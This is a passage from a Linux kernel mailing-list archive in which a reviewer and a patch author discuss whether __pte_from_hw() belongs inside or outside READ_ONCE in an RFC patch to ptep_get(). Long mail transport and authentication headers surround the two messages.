	:references:subject:to; s=pp1; bh=SyEKmgQDKWQNaqyjGD9/StXJGEDRDY
	1U+s/7IVPb15Q=; b=mpgStl8w7nM9YhaejMlJKR3MpAZdEg3CMrKaAXvLKHr7vT
	6VVwUWTv94MCyV0t0LoEvX4NTx8I4oV6Z0RyamfkVYt+l2AOdDneecdkibOEY1+b
	fD9XwZ3K4X8hUfJXGoIotglUANfOJDNKrE0DS35mkwFOijc9A8vDRLcyW5rJpkQl
	ZSz6TwC2s319vuPGylh8x/WmuWHPvwVDTCys8JeV+xWvLk555y/ELhHSpwIRUICY
	YonccknjvF9P+MZBOhJqIBxdnhuPD4Gkn7+w9bgCc5mVY0U6J1Gm6Uc9d61V0Jez
	zbYakob6m6/arpoFMao3y0RyGCx0NamVLgwru4iQ==
Date: Thu, 30 Jul 2026 12:08:20 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        David Hildenbrand <david@kernel.org>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 05/11] mm: convert PTE table entries in ptep_get()
Message-ID: <34eed5fd-c569-49d8-bc4d-a3d4b1207fbd-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-6-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260727164715.2866609-6-usama.anjum@arm.com>
X-TM-AS-GCON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TSzYQrdU5
 SYDEkUDGowOYGL7zbLg==
X-Proofpoint-GUID: o0rywYqMRb9-o-diVy_ik6hJzY7jXbKp
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_02,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 adultscore=0 priorityscore=1501 spamscore=0 clxscore=1015 phishscore=0
 lowpriorityscore=0 bulkscore=0 malwarescore=0 impostorscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607300072
X-purgate-ID: tlsNG-4011c0/1785406148-504CFCFC-B01684B5/0/0
X-purgate-type: clean
X-purgate-size: 1409

On Mon, Jul 27, 2026 at 05:46:56PM +0100, Muhammad Usama Anjum wrote:
> ptep_get() now accepts a pointer to hw_pte_t storage but must continue to
> return a logical pte_t value. Add __pte_from_hw() as the conversion hook
> and apply it in the generic ptep_get() implementation.
> 
> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
> ---
>  include/linux/pgtable.h       | 2 +-
>  include/linux/pgtable_types.h | 1 +
>  2 files changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
> index dad80d264aac2..3003ac9cd81fe 100644
> --- a/include/linux/pgtable.h
> +++ b/include/linux/pgtable.h
> @@ -493,7 +493,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
>  #ifndef ptep_get
>  static inline pte_t ptep_get(hw_pte_t *ptep)
>  {
> -	return READ_ONCE(*ptep);
> +	return READ_ONCE(__pte_from_hw(*ptep));

Should it be something like?

	return __pte_from_hw(READ_ONCE(*ptep));

>  }
>  #endif
>  
> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
> index ed5dba42a4f8c..61afe27307ec2 100644
> --- a/include/linux/pgtable_types.h
> +++ b/include/linux/pgtable_types.h
> @@ -6,6 +6,7 @@
>  
>  #ifndef __HAVE_ARCH_HW_PTE_T
>  #define hw_pte_t pte_t
> +#define __pte_from_hw(pte)	(pte)
>  #endif
>  
>  #endif /* _LINUX_PGTABLE_TYPES_H */
> -- 
> 2.47.3
> 


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:12:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:12:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377423.1623492 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNl2-00084q-U7; Thu, 30 Jul 2026 10:12:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377423.1623492; Thu, 30 Jul 2026 10:12:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNl2-00084j-RT; Thu, 30 Jul 2026 10:12:56 +0000
Received: by outflank-mailman (input) for mailman id 1377423;
 Thu, 30 Jul 2026 10:12:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wpNl0-00084d-Qg
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:12:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNl0-00H99p-3d
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 12:12:54 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b239c-2eae-0a2a0a5409dd-0a2a45089af4-12
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:12:53 +0200
Received: from [52.101.72.8]
 (helo=AM0PR02CU008.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b23a4-f659-0a2a45080019-34654808199a-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:12:52 +0200
Received: from AM7PR04CA0011.eurprd04.prod.outlook.com (2603:10a6:20b:110::21)
 by AS1PR08MB7428.eurprd08.prod.outlook.com (2603:10a6:20b:4df::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Thu, 30 Jul
 2026 10:12:46 +0000
Received: from AM3PEPF0000A78F.eurprd04.prod.outlook.com
 (2603:10a6:20b:110:cafe::59) by AM7PR04CA0011.outlook.office365.com
 (2603:10a6:20b:110::21) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.14 via Frontend Transport; Thu,
 30 Jul 2026 10:12:46 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AM3PEPF0000A78F.mail.protection.outlook.com (10.167.16.118) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8
 via Frontend Transport; Thu, 30 Jul 2026 10:12:46 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by AS2PR08MB9414.eurprd08.prod.outlook.com (2603:10a6:20b:596::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 10:11:40 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 10:11:39 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=nIa4vb5Fn7KrhHYLt6PtEsXQ3R4PFFdUgUMI9qnr8Cgx7gzpzrkRgRqQ7MvjzcXp2grF9FQal/iiyhG0fg/F2xLMfqipyTRP52HAUcIeWdtY0WwpAOjW65HYHvAPeFTrpVmSBygxyO9njZABkMO5UJvOYRhHSd8cbFtznjew3ElpIBjzQBzmZXXEzPlneQsRHt9kdmCqe19JZu7XeRM0vwvxGnqZfIXvkxYtDbiqNvoqiKVyNyAA7st+XJxuk9k17MV0zjCjkDzQtyYRBK8yoyc4QZQln149ovTr+RslCQOkknQqro0xzjHlSNxjkw0fH8Ee5vF81wWL42U5mBLjZQ==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=GW6TaX/wrJVlgXDX7ALl3n8GGbzcs9T87q/ugCOz5wc=;
 b=Z9m/YspZ0DNAD1xXnUYri9RNQVUk03vBZKSm0QNUkcEPxzOjJMJErnh/iLtybOyXP07g53QLybFjRYd1umw/HXAY4SRnvaTDsT318Vey6riiDQKG/OysKGWzRao1t2pDwmmQk0MYkQET6uD9PG5e4f7jIwQ8+nhbu52huYxQ3siRrl6pqcmPdG2/GIk8taEJqVXm9NwkYKtiJQdbN6JajWltjM7TbaH+mHxzWJzRM8vvmHNLalcHjTkjuLUa8nSGo9h2dkshq7qUwXyNwTVoqL21UPH6xtMmJCZEot+JeSKM+nsPrYlF6dRN9cvAdUHsDfILgYfchG0WJTX8Cwe2DQ==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=linux.ibm.com smtp.mailfrom=arm.com;
 dmarc=pass (p=none sp=none pct=100) action=none header.from=arm.com;
 dkim=pass (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=GW6TaX/wrJVlgXDX7ALl3n8GGbzcs9T87q/ugCOz5wc=;
 b=GeswaosQZW0XJG+pOZUpxw2UMeTwpKI4FYP0ko0dIeM4WIxbIYvQH+bglzNEKMbrO0yKKXGBEVn4shqk8etpdsccMENK3ifDFZKHSpzWk9UeWkqZ2kAYwD0nx0jKN9zSjC5NMBpnJ8GUAHuFuIQ5lyqQw1k8sKSM3+5rrH0IUXU=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=GS5RCkRYCqQustTpOkpKOo9ShwzYOgu1KcBOh+0+gdQ7GcK/fSzronqjHxjGwjL/xvn5KSgEHpDtZlrxdSITgMoRYf/U4cqHK/HRjYRmnYdwc978uuNSE9KVMT/2DFI7B+M7Eb5Xtad79e9MKVKFCy84NC3CM4NI09/YmnsFXmtiIZziSrLIxTq0atHZr6RzlqhBPqh4utIW9rqC41r1GrALdYvLOhXcc7mp1TW4cusck+GFxbB5uXPnHDaVFbNlSj2JTrGDRc58lvrldvGizlOxiJitFAMLpntI9QtT7Nk8yLX2Uc7nyN73V/J5yTF3Z4utYgdOsz1aALsHjMjwkw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=GW6TaX/wrJVlgXDX7ALl3n8GGbzcs9T87q/ugCOz5wc=;
 b=fz0K7HaKJIztN06ofWYIYBBvaZPV2CIHdhinaGSzda+cmKkXpgu64xYGyHWtvlCTd52xf14/WqguAKFoRG1d62XFW/dwlv0pcVUrzltiip4XkGDf2e5DA1fY+3zJEMQPuBvElKivoSOZeOkPT0CvRhkxV2j7N8vWT1Blx2OKemO1QP0gvD/+UftV9BcQMAOojiuvz69bkP/WO6edjJjH3WT+IfYil4KgozKdjieQjZyhPhjMVtlv+zBrfPjHDARBUlvUWVr0aQqSH4SiXTe/YFBPplDAQus0/ugPjfcUW1ucqlqDsvnRADc8rVLRH+jB0gPFNh6XugWpW6ahgqc+rA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=GW6TaX/wrJVlgXDX7ALl3n8GGbzcs9T87q/ugCOz5wc=;
 b=GeswaosQZW0XJG+pOZUpxw2UMeTwpKI4FYP0ko0dIeM4WIxbIYvQH+bglzNEKMbrO0yKKXGBEVn4shqk8etpdsccMENK3ifDFZKHSpzWk9UeWkqZ2kAYwD0nx0jKN9zSjC5NMBpnJ8GUAHuFuIQ5lyqQw1k8sKSM3+5rrH0IUXU=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <fec9e0c7-07c3-442c-819b-f9f5316cb6a2@arm.com>
Date: Thu, 30 Jul 2026 11:11:35 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 05/11] mm: convert PTE table entries in ptep_get()
To: Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-6-usama.anjum@arm.com>
 <34eed5fd-c569-49d8-bc4d-a3d4b1207fbd-agordeev@linux.ibm.com>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <34eed5fd-c569-49d8-bc4d-a3d4b1207fbd-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0569.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:276::9) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|AS2PR08MB9414:EE_|AM3PEPF0000A78F:EE_|AS1PR08MB7428:EE_
X-MS-Office365-Filtering-Correlation-Id: e9d5ff5d-dd86-417c-608d-08deee231a54
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|7416014|22082099003|18002099003|11063799006|4143699003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info-Original:
 uInQKg8jf9Nb/UF1IivgM/22qCbP0TvqUsgYHdS7porxb5tSHO00dGTijkLOLlk9/j/VpGHmaTlpjAfcrdcNJhbjqGV6wvlv5xuBeOctx6yLoczl/TcDAs6ZQWgiJmENQ5XpevQTCbABC9qqSnMz6KpF2B0ZF3+9XbvadJQABkNVXvu32u1hF8+GBilDAt1ouT4D70y2A1FAy8c47O2lWbyuKu6F6ucTXC0WPZRGqZiQVcIsQcJ4AdcBVwwbreMbB79e8aisN21FlJPPBRejbbhoNfXZC6PkQaIOIvnwZt1gxjvH/iEO0ZZXY11XFY5tIDVPZ96+GpdbXyyCaRgQmjgQ8ywikJooE1i+pSQpITDrpUacjhUS5i8KEKh4+a5rM0BEBsLXLak1sGT8DhPs0kcl3yTxz7olLqyYkcnokgMFTvMYgEadP8H7JJLwzgq1UihvbZjEoIM69JP/HuEYrkpbeuOt6KGiO8go9IwBEOkKVdqLyk29UzTVAmj1dfBwX5Q09MsC1f2FaAoELQck4NMFewUgY6JJH5rwvR/YCvFLzm0JdA4yAkxKKTrW1MgvvtWjkuR10RvprlzfFPfDw8XvJCoR3I8SESUj2xwrne6RTaADibTXz85KPIe2itNRB3kKzgGuQEu281GNHpSVcA==
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(7416014)(22082099003)(18002099003)(11063799006)(4143699003)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 mxXycThQPOwCEKiJ4fpi4gay7U452fMtMC308xNh6nW7ar/t+Hqd8lgGY/Q3Eq9XUsaCDsOUntdt15OQ+wP7f8KKOQRloVvYD7VZhZJEaUp3qxctrhUfVFPMkrc61K5jDn8BuNFCj3O4UFhYfZDMIYHXvNVFLVNIMGorVnt+RzJl4dpvtM3jzfnFYWW2sPHTy17I/JghjtEphRZs89opntIZ01w+03ahpl8ja/ezVcis/D6Dn2Zf0i0OAxv7ayl8ma0C0FT8d1EM0q5Zp0gqazNKFCPxh9fD+0NnqIUPE3sspQELgdi5pMydyv8fg6g4LZTnXyBFbv2JTyHAJRKUmw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR08MB9414
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AM3PEPF0000A78F.eurprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	c7c79767-1c36-444a-b20b-08deee22f16a
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|23010399003|376014|7416014|82310400026|14060799003|1800799024|35042699022|56012099006|4143699003|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	gkHq787ZbJ/QtqxPA+IipHmbLjsbOnnWq6MGWGCGZ7sm5cOSlYVEI5wVbmvMVy7OHzsGm4rJhSa13Vsf/NvcCCja/BlX0urx080G00ZSIc/I2r3LsNX+VYiHVVloL5Nv65if6GPwm2zy29bNa65hRTcZxUJTEc5Stb5WxJL5yKAPT8G17Sx+XidhAJHNlqSoVa9kVc4vqZmlxoQTj8MK5U6/GN641/T9ZF4Qll2MdVk8VJ+IrwcKcM0YErc/NwobJAEl2D55KuEZGygcz6vOLUoAugONrvpI8P3RPwRrGbkBsFDCbC5zgWzjYKvl1VCD5zn5zwQf1cs/Q1ZexfXec2WxJQ97NTg7JqeKxR53jEbOcRqgQ64DIrjl/XX11HjD6Fz6QVIghmzymRuHUv/TNXda1zpNe5ks8LvHhDTEt3vefVFoIpBW5HWoPoKjg5J5bEnnLhz9Y5IqYRARmSB5iyPYehTCjV36dnQko0MFK1c7XnpIinFCJreBsEN4Nj3vqfkgTL7Oth1Suhb76yujU9j1KhVx4Uaf6IDK/OgFOI32QUsV3w+A+8OcDpCRhzaVU+Qp+07/qEWzOYZ41vRpECzc+rLO/4Kn0VctfcgF4GBVDYH6oQCaChTc2s21ZORhlBR8/Lv2Hy5nYupZWPW8shUyDQ7vwiiG3ewxr6ubLMwpkxUIltpKB9RA8fVloQdM
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(23010399003)(376014)(7416014)(82310400026)(14060799003)(1800799024)(35042699022)(56012099006)(4143699003)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	TFhnqf9FpnK1waYPtQxasD129j4WLA2oK9JkweYCzquofnO1PchnTDRT6J7/vOZLuC/hWe4f/dDDIbSsCr51YXr0NM2ZqWv8VQJTJdHw/fKBQXf3Dr4QVjGrYEQ+URqkcuXxxed/LvbVfOk01J3idQcFOGafhrWzFk0ZRrglgLprnbn1mqpCvK7uMP5GqehtByQzHSZEqYgDqijMQz1eehY/daeYEuRJMhzurb51AqLosglDVvlZk4/WqWk3eInYky5SktACCw11Te12WpxorpZHDCRrOyu5aX7tHsHTH5wWU4Vq/6FwGPD2nJcoABwp8fdsOW6saOALfE8i7gFLFTXjRxBCnryiCUKfIP1J97q0+KSu3HwC7LVNDc4AgM7EWZaeLpSO6gAoWDKX+Oa8NWTPTaHBwtzJOW5Kb07kl1ENC5Y7mAmc+zzybOz6Ks++
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 10:12:46.5568
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: e9d5ff5d-dd86-417c-608d-08deee231a54
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AM3PEPF0000A78F.eurprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS1PR08MB7428
X-purgate-ID: tlsNG-c1860d/1785406373-DFED287B-24702E9E/0/0
X-purgate-type: clean
X-purgate-size: 1683

On 30/07/2026 11:08 am, Alexander Gordeev wrote:
> On Mon, Jul 27, 2026 at 05:46:56PM +0100, Muhammad Usama Anjum wrote:
>> ptep_get() now accepts a pointer to hw_pte_t storage but must continue to
>> return a logical pte_t value. Add __pte_from_hw() as the conversion hook
>> and apply it in the generic ptep_get() implementation.
>>
>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>> ---
>>  include/linux/pgtable.h       | 2 +-
>>  include/linux/pgtable_types.h | 1 +
>>  2 files changed, 2 insertions(+), 1 deletion(-)
>>
>> diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
>> index dad80d264aac2..3003ac9cd81fe 100644
>> --- a/include/linux/pgtable.h
>> +++ b/include/linux/pgtable.h
>> @@ -493,7 +493,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
>>  #ifndef ptep_get
>>  static inline pte_t ptep_get(hw_pte_t *ptep)
>>  {
>> -	return READ_ONCE(*ptep);
>> +	return READ_ONCE(__pte_from_hw(*ptep));
> 
> Should it be something like?
> 
> 	return __pte_from_hw(READ_ONCE(*ptep));
I'd thought about it. My thinking is that we should get the pte_t first before
before calling READ_ONCE(). Please correct me what makes more sense?

> 
